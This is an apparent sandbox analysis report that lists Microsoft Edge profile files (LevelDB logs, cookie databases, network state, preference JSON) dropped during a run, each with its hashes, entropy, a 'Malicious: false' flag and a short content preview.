Preview:	7....................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1732502392853.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732502394272.._https://ntp.msn.com..MUID!.05128E14A2366A7423409B56A39E6B9C.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732502392940,"schedule":[10,-1,-1,16,-1,9,-1],"scheduleFixed":[10,-1,-1,16,-1,9,-1],"simpleSchedule":[46,31,11,9,26,37,14]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732502392803.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Sun Nov 24 2024 21:39:52 GMT-0500 (Eastern Standard

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1881560759797445
Encrypted:	false
SSDEEP:	6:HhRM+q2PCHhJ23oH+Tcwt8a2jMGIFUt8YhdZmw+YesMVkwOCHhJ23oH+Tcwt8a23:BRM+vBYeb8EFUt8Od/+nsMV56Yeb8bJ
MD5:	04A2EA5CFE6ECF5111D6C440F2352574
SHA1:	4697D93D0EFE000EE662AC471A57146F3760D108
SHA-256:	EEC15B16FC00A3CBA79BA488EAB5100AD16A49629898F26B0F7572A5928DD014
SHA-512:	E39D1BACD1D551498AB68E51C2BE2D962AFC3C4221306009B906C25D959F9517BD9B0568B44625ED29F858BDAF2257A9023B7B79A045037E51CB756F637AFC0E
Malicious:	false
Preview:	2024/11/24-21:39:38.216 1c8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/24-21:39:38.217 1c8c Recovering log #3.2024/11/24-21:39:38.221 1c8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1881560759797445
Encrypted:	false
SSDEEP:	6:HhRM+q2PCHhJ23oH+Tcwt8a2jMGIFUt8YhdZmw+YesMVkwOCHhJ23oH+Tcwt8a23:BRM+vBYeb8EFUt8Od/+nsMV56Yeb8bJ
MD5:	04A2EA5CFE6ECF5111D6C440F2352574
SHA1:	4697D93D0EFE000EE662AC471A57146F3760D108
SHA-256:	EEC15B16FC00A3CBA79BA488EAB5100AD16A49629898F26B0F7572A5928DD014
SHA-512:	E39D1BACD1D551498AB68E51C2BE2D962AFC3C4221306009B906C25D959F9517BD9B0568B44625ED29F858BDAF2257A9023B7B79A045037E51CB756F637AFC0E
Malicious:	false
Preview:	2024/11/24-21:39:38.216 1c8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/24-21:39:38.217 1c8c Recovering log #3.2024/11/24-21:39:38.221 1c8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\199de70f-5fba-4cd2-adc0-846a8b9e9336.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6c10faac-11e3-4352-830f-3be4db53e3b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1484
Entropy (8bit):	5.3075443763368355
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3RdsZuZVMdmRdsZHZFRudFGRw6maPsw6C1VdsFICZC52HWcQYhbt:YcCpfgCzsZqtsZ5fc7kBRsFdCgHIYhbt
MD5:	8F6756C1183B6FDF154EA20EDA7457B8
SHA1:	68426345882FDE359CA4C9E134F75FC2F2732413
SHA-256:	F444BBC93015B7C12528D047C55426B7611E7488F14FEAE371FE1D5B77A65D37
SHA-512:	7FA0562C646BC17AA986A7FCF3FA506ECAB175CC36A89F52A62BFD20828C1EC4D835F78AA3EEB6D79F52995E260E8BFB55FD195229A2FFE2AF319FD87DCF926E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379567982117593","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379567986828674","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWR

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7356d4a0-e24b-42d8-a444-c5f30dbad06d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7d4a472b-66f1-419e-9346-618735b02a34.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7733211318472155
Encrypted:	false
SSDEEP:	192:tT85umog0kSmMmxdiygbOKJuYHu91nXcf0L/ZJVb:V85utkSRmx99FXI0LhJVb
MD5:	A74A13146260EB7F4D494E5FBF4EE357
SHA1:	93B98A3DB9C41ECB701A992C2C466850EB103CCA
SHA-256:	C16D38E375999750D60CE2B2F3F763D1D473A3F83A03AE53B343AA05D4672535
SHA-512:	77174100AD90BBFE339821C26A7AA1C43E78A1B24909C5917FECDC31B73B68872AEAE8C894192A2B16A6F696E4810FE2CCA0EA01634078C0E120496114F4BFBC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1484
Entropy (8bit):	5.3075443763368355
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3RdsZuZVMdmRdsZHZFRudFGRw6maPsw6C1VdsFICZC52HWcQYhbt:YcCpfgCzsZqtsZ5fc7kBRsFdCgHIYhbt
MD5:	8F6756C1183B6FDF154EA20EDA7457B8
SHA1:	68426345882FDE359CA4C9E134F75FC2F2732413
SHA-256:	F444BBC93015B7C12528D047C55426B7611E7488F14FEAE371FE1D5B77A65D37
SHA-512:	7FA0562C646BC17AA986A7FCF3FA506ECAB175CC36A89F52A62BFD20828C1EC4D835F78AA3EEB6D79F52995E260E8BFB55FD195229A2FFE2AF319FD87DCF926E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379567982117593","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379567986828674","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWR

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2781016444916866
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBoh:JkIEumQv8m1ccnvS6X8qmdKiifdz1a
MD5:	C146F5CE738C377A819890395D0BA9E2
SHA1:	283384DD8C7BD1FAE9E410D459E2C3F8FE1F0452
SHA-256:	83C2F484BAAF796D9B08B69E28CFDE9C87DF5BDE9D335C28D6469BAA9CFB96A4
SHA-512:	E323E5B9F2672A7ED95A91E7C289EAD7DF4A8F52C2B5E21CF247BEE1D0257654AA5F50A73585AED5DEA623EF47437D5B3862CE3432993EE917F757B0BAE466EF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2b26e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2c828.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\cb4da928-7939-4b70-bfeb-452d49ed8cfb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9601
Entropy (8bit):	5.113476818015282
Encrypted:	false
SSDEEP:	192:stIkdpcsTIRIa34HkU2TZ83bV+FZoQA4Jqq7NIxPJYJ:stIQcscRXHUbGKQxJ17NIo
MD5:	E0D42EB569B28788E47FB4F054019CA0
SHA1:	A2A3849EE174FDD561734BAA5E11CF467A07123F
SHA-256:	E3301427CF0DDDD537D6E198885A0A076F913182DE0622C0D62762F6885A477C
SHA-512:	AC5DE5FC81EACCECC82D4A74C9B605BAEA6DA69A9D92B14147B104A1D7DF5F36F5263D2FC00456D3BC3D6CC2F6D25ADA37800D233A36E87A1C27DC88F54A3AA1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376975978278783","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2f850.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9601
Entropy (8bit):	5.113476818015282
Encrypted:	false
SSDEEP:	192:stIkdpcsTIRIa34HkU2TZ83bV+FZoQA4Jqq7NIxPJYJ:stIQcscRXHUbGKQxJ17NIo
MD5:	E0D42EB569B28788E47FB4F054019CA0
SHA1:	A2A3849EE174FDD561734BAA5E11CF467A07123F
SHA-256:	E3301427CF0DDDD537D6E198885A0A076F913182DE0622C0D62762F6885A477C
SHA-512:	AC5DE5FC81EACCECC82D4A74C9B605BAEA6DA69A9D92B14147B104A1D7DF5F36F5263D2FC00456D3BC3D6CC2F6D25ADA37800D233A36E87A1C27DC88F54A3AA1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376975978278783","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF338a5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9601
Entropy (8bit):	5.113476818015282
Encrypted:	false
SSDEEP:	192:stIkdpcsTIRIa34HkU2TZ83bV+FZoQA4Jqq7NIxPJYJ:stIQcscRXHUbGKQxJ17NIo
MD5:	E0D42EB569B28788E47FB4F054019CA0
SHA1:	A2A3849EE174FDD561734BAA5E11CF467A07123F
SHA-256:	E3301427CF0DDDD537D6E198885A0A076F913182DE0622C0D62762F6885A477C
SHA-512:	AC5DE5FC81EACCECC82D4A74C9B605BAEA6DA69A9D92B14147B104A1D7DF5F36F5263D2FC00456D3BC3D6CC2F6D25ADA37800D233A36E87A1C27DC88F54A3AA1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376975978278783","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3ade5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9601
Entropy (8bit):	5.113476818015282
Encrypted:	false
SSDEEP:	192:stIkdpcsTIRIa34HkU2TZ83bV+FZoQA4Jqq7NIxPJYJ:stIQcscRXHUbGKQxJ17NIo
MD5:	E0D42EB569B28788E47FB4F054019CA0
SHA1:	A2A3849EE174FDD561734BAA5E11CF467A07123F
SHA-256:	E3301427CF0DDDD537D6E198885A0A076F913182DE0622C0D62762F6885A477C
SHA-512:	AC5DE5FC81EACCECC82D4A74C9B605BAEA6DA69A9D92B14147B104A1D7DF5F36F5263D2FC00456D3BC3D6CC2F6D25ADA37800D233A36E87A1C27DC88F54A3AA1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376975978278783","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.5682415666639775
Encrypted:	false
SSDEEP:	768:Il59kOWPwWfSt8F1+UoAYDCx9Tuqh0VfUC9xbog/OVclYEprwrtpotur:Il59kOWPwWfStu1ja5CEarctQ
MD5:	48B747C0A6344E8F332482D37706961B
SHA1:	2FB1F778A5B7A041CD2154D3CD3B93AE1F3FE40F
SHA-256:	4B98B039A101E19EA86C400F59D588FC73C43F6D285B56EE5DDC5B17723409B4
SHA-512:	BB5B8F4B1C4A1DB6E08BE3BF6F9210D56882F90E56ABF66CA2CC0BC90E76729D0DE6FF58F0370D200E04E656474877324F27516B809B0A9FD6D22B337BE6B333
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376975977798032","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376975977798032","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2ef38.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.5682415666639775
Encrypted:	false
SSDEEP:	768:Il59kOWPwWfSt8F1+UoAYDCx9Tuqh0VfUC9xbog/OVclYEprwrtpotur:Il59kOWPwWfStu1ja5CEarctQ
MD5:	48B747C0A6344E8F332482D37706961B
SHA1:	2FB1F778A5B7A041CD2154D3CD3B93AE1F3FE40F
SHA-256:	4B98B039A101E19EA86C400F59D588FC73C43F6D285B56EE5DDC5B17723409B4
SHA-512:	BB5B8F4B1C4A1DB6E08BE3BF6F9210D56882F90E56ABF66CA2CC0BC90E76729D0DE6FF58F0370D200E04E656474877324F27516B809B0A9FD6D22B337BE6B333
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376975977798032","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376975977798032","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.847856768974856
Encrypted:	false
SSDEEP:	48:F2emotrdDQXfBjXrdYxvrdDQSBjGrd3SBa:F1motxD+lxYxvxDWxh
MD5:	24447793075A472BE6429B552B35B89D
SHA1:	1E12703C1B5D5EA0E51CEE2CBE444E632C25DF02
SHA-256:	17E4FD61D9A052BB1AA68368FE3B0E0C47310FE40E73DFE3A3E93A14B3F253BC
SHA-512:	6E5FDDE1BCFB76078373A374F94017999A4DB2FC00FFA50871D8D711E64DA2B3A04B4A7F64CF3039EDC1940BFC7C108DE4EBE2BFD532C901459B8AB1FC2FC135
Malicious:	false
